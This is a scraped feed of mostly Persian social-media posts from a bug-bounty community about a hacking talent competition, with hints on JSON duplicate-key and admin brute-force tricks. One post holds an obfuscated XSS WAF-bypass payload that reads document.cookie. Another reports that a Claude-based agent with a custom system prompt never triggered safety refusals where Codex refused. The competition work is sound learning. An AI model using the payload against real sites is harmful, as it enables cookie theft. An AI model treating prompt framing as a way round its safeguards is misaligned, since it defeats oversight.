Ramze$

@0xmicho1 Amazing 🔥

xss waf bybass the payload: micho',%20x:self[String.fromCharCode(112,114,111,109,112,116)](document[String.fromCharCode(99,111,111,107,105,101)]),%20y:' #bugbounty

کسانی که توی زمینه تِک ( بک-اند، فرانت، فول-استک…) دنبال کار هستن و میتونن انگلیسی صحبت کنن ( در حد B2) به من دایرکت بدن… #کار

today i sat down and cleaned up my socials a bit + made some changes. one that hit different for me was my github profile: github.com/Malwaremamad peep it if you want and drop your take

اوه اوه TA هایِ کلاسو ، یالله . @Muntrive @alial1shan

@Amir_pentest نوش جونت

یکم دست گرمی:)🤓 #باگ_بانتی

@MrOplus میشه در مورد ایجنت خودت توضیح بدی

با ۳ تا چیز مختلف تست کردم ۱. کدکس :‌ همون اول به دیوار خورد گفت این مربوط به سکیوریتی هست ۲. کلاد :‌ تا ۳۰ رو خودش رفت ولی ۳۰ و ۳۱ رو مجبور شدم بهش راه حل بدم ۳. ایجنت خودم (مبتنی بر کلاد) : ۱ شات حل کردش چیزی که جالب بود این بود که کلاد بدون سیستم پرامپت مثل کدکس مشکل میخورد ولی میرفت رو مدل ساده تر ولی با سیستم پرامپت اصلا به safety guard نخورد

@AmirMraoufi @voorivex @hmakdev ۲ تای اخر پخت حاجی یاشار بود

عجب چیزی بود لول ۳۰🔥 برم برا اخریش @voorivex @hmakdev

@meridosa تایم داره هنوز ادامه بده

نتونستم تا ددلاین تمومش کنم :((( ولی تجربه لذت بخشی بود و حتما توی این روزهای باقی مونده تمومش می کنم. باعث شد کار با هرمس و کلی نکته درباره امنیت یاد بگیرم.

سه روز از پیکار استعدادیابی گذشته. تفاوت این پیکار با قبلی‌ها این بود که یه تعدادی آسیب‌پذیری نزدیک به کیس‌های واقعی هم داخلش گذاشتیم. هدف اصلی از طراحی پیکار، یادگیری بوده و اینکه جایی باشه که بتونید دانسته‌هاتون رو به چالش بکشید. ادامه بدید تا تهش برید. از AI هم غافل نشید.

@MatinSenPai Let's go

@justramzes مرسی عزیزم♥️ امیدورام به اسم خودت هم در بیاد🥰 خوشحال میشم بتونیم همه با هم باشیم توی این کلاس خفن

همچنان خبری نیست ، سنپای کجایی ؟ @MatinSenPai

@erfanvando @voorivex مطمعنی یوزر ادمین رو پیدا کردی ؟ admin نیست اخه از json duplicate key استفاده کن

@justramzes @voorivex آره معلومه. یوزرنیم ادمین رو با dup key گرفتم ولی بخش note باز نشد. getUser یه چک مالکیت داره که با duplicate id و header spoof و query pollution هم جواب ندادن اگه هینت بدی ممنون میشم 🙏

با دانش کم و اکانت رایگان Gemini از پریشب نشستم پاش و تا اینجا رسوندمش ولی واسه ۳۱ دیگه واقعا نمیدونم چیکار کنم! چالش خیلی خوبی بود و وسط امتحانا کلی چیز جدید یاد گرفتم @voorivex

@yazdanctx @PedramGholizade Xd واقعا😂😂

@PedramGholizade یاد فایت خبیب و کانر افتادم. کانر زورش نمیرسید افتاده بود زمین مثل چی کتک میخورد بعد یه گزارشگر میگفت نمیفهمم چرا کانر اینقدر دفاعی فایت میکنه :)))

حق اسپانیا بود ببره واقعا قشنگ بازی کردن واقعا نمیفهمم مارتینز رو چرا نیاورد و اینقدر دفاعی آخه!

@MatinSenPai دسخوش 🔥🦾رایتاپ رو سریع بفرست که بیای توی قرعه کشی و امیدوارم به نامت در بیاد و داشته باشیمت توی کلاس ❤️

@justramzes ما تمام کردیم مشتی

@Pixelmon_boy روی جیسون صفحه api/info کار کن و از json duplicate key استفاده کن

۳۱ رسیدم ولی عجیب گیر کردم یوزر ادمین رو گیر اوردم ولی نوت نداره همه چیم تست کردم دیگه نمیدونم چی از دستم در رفته کسی هینتی نداره؟

قبلا اینطور بود که هر چی دانش بیشتری داشتی، شانس اثرگذاریت هم بیشتر میشد. یعنی یه شخصی که دانشش کم بود تقریبا شانسی نداشت توی رقابت با بقیه، آیا الانم اینطوره؟ یه ویدیو گرفتم توضیح دادم، دیتا رو از پیکار استعدادیابی اخیر اوردم، امیدوارم خوشتون بیاد youtu.be/8R4gC_O-bZo

@soda688541 @mmj467 @voorivex و اینکه یوزر ادمینش admin نیست باید بورت فورس کنی خودت یه چی قبل admin هست

@mmj467 @justramzes @voorivex حاجی یع hint واسه ۳۱ پلیز پاره شدم

تمومش کردم 😁😁 یاشار دقیقا منظورت از بدون هیچ دانشی چی بود 🤣دانش خلبانی؟ @voorivex

@soda688541 @mmj467 @voorivex روی جیسون توی صفحه api/info کار کن و اینکه از duplicate json key استفاده کن

@hmakdev @voorivex یا الله حاج حسین ❤️

@justramzes @arshwpr @LoganSoftware @voorivex ❤️👏🏻

Finally, special thanks to @arshwpr for helping me through the final level, and to @LoganSoftware for the helpful hints. 🙏❤️ A special thanks as well to @voorivex and @hmakdev for this opportunity to learn new things and connect with other people in the community.